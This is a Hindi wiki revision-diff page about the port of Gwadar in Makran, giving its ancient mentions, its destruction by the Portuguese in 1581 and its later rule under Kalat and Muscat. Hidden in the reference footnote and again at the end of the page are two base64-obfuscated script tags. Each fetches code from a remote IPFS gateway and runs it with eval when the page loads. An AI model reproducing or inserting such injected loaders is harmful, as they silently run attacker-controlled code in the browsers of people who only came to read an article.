"ग्वादूर" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''ग्वादूर''' मकरान, पश्चिमी पाकिस्तान में स्थित है। ...' के साथ नया पन्ना बनाया)
 
पंक्ति 3: पंक्ति 3:
 
*[[यूनानी]] लेखकों ने ग्वादूर के समीप [[समुद्र]] में अनेक प्रकार की विचित्र [[मछली|मछलियों]] का वर्णन किया है।
 
*[[यूनानी]] लेखकों ने ग्वादूर के समीप [[समुद्र]] में अनेक प्रकार की विचित्र [[मछली|मछलियों]] का वर्णन किया है।
 
*1581 ई में [[पुर्तग़ाली|पुर्तग़ालियों]] ने इस नगर को जलाकर नष्ट कर दिया था।
 
*1581 ई में [[पुर्तग़ाली|पुर्तग़ालियों]] ने इस नगर को जलाकर नष्ट कर दिया था।
*17वीं शती में कलात के ख़ान ने इस बंदरगाह पर अधिकार कर लिया। उसने इसे ओमान के शासक सैयद सुल्तानबिन अहमद को सौंप दिया। इस प्रकार [[1871]] ई. तक इस पर मस्कट के सुल्तान का कब्जा रहा। इस वर्ष से [[ब्रिटेन]] का एक राजदूत यहाँ रहने लगा।
+
*17वीं शती में [[कलात]] के ख़ान ने इस बंदरगाह पर अधिकार कर लिया। उसने इसे ओमान के शासक सैयद सुल्तानबिन अहमद को सौंप दिया। इस प्रकार [[1871]] ई. तक इस पर मस्कट के सुल्तान का कब्जा रहा। इस वर्ष से [[ब्रिटेन]] का एक राजदूत यहाँ रहने लगा।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

13:57, 2 मई 2013 का अवतरण

ग्वादूर मकरान, पश्चिमी पाकिस्तान में स्थित है। यह अरब सागर (फ़ारस की खाड़ी) के तट पर एक छोटा-सा बंदरगाह है, जिसका प्राचीन नाम 'बंदर' कहा जाता है। इसका उल्लेख टॉल्मी, आर्थोगोरस और एरियन (90 ई.-170 ई.) आदि प्राचीन विदेशी लेखकों ने भी किया है।[1]

  • यूनानी लेखकों ने ग्वादूर के समीप समुद्र में अनेक प्रकार की विचित्र मछलियों का वर्णन किया है।
  • 1581 ई में पुर्तग़ालियों ने इस नगर को जलाकर नष्ट कर दिया था।
  • 17वीं शती में कलात के ख़ान ने इस बंदरगाह पर अधिकार कर लिया। उसने इसे ओमान के शासक सैयद सुल्तानबिन अहमद को सौंप दिया। इस प्रकार 1871 ई. तक इस पर मस्कट के सुल्तान का कब्जा रहा। इस वर्ष से ब्रिटेन का एक राजदूत यहाँ रहने लगा।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 311 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>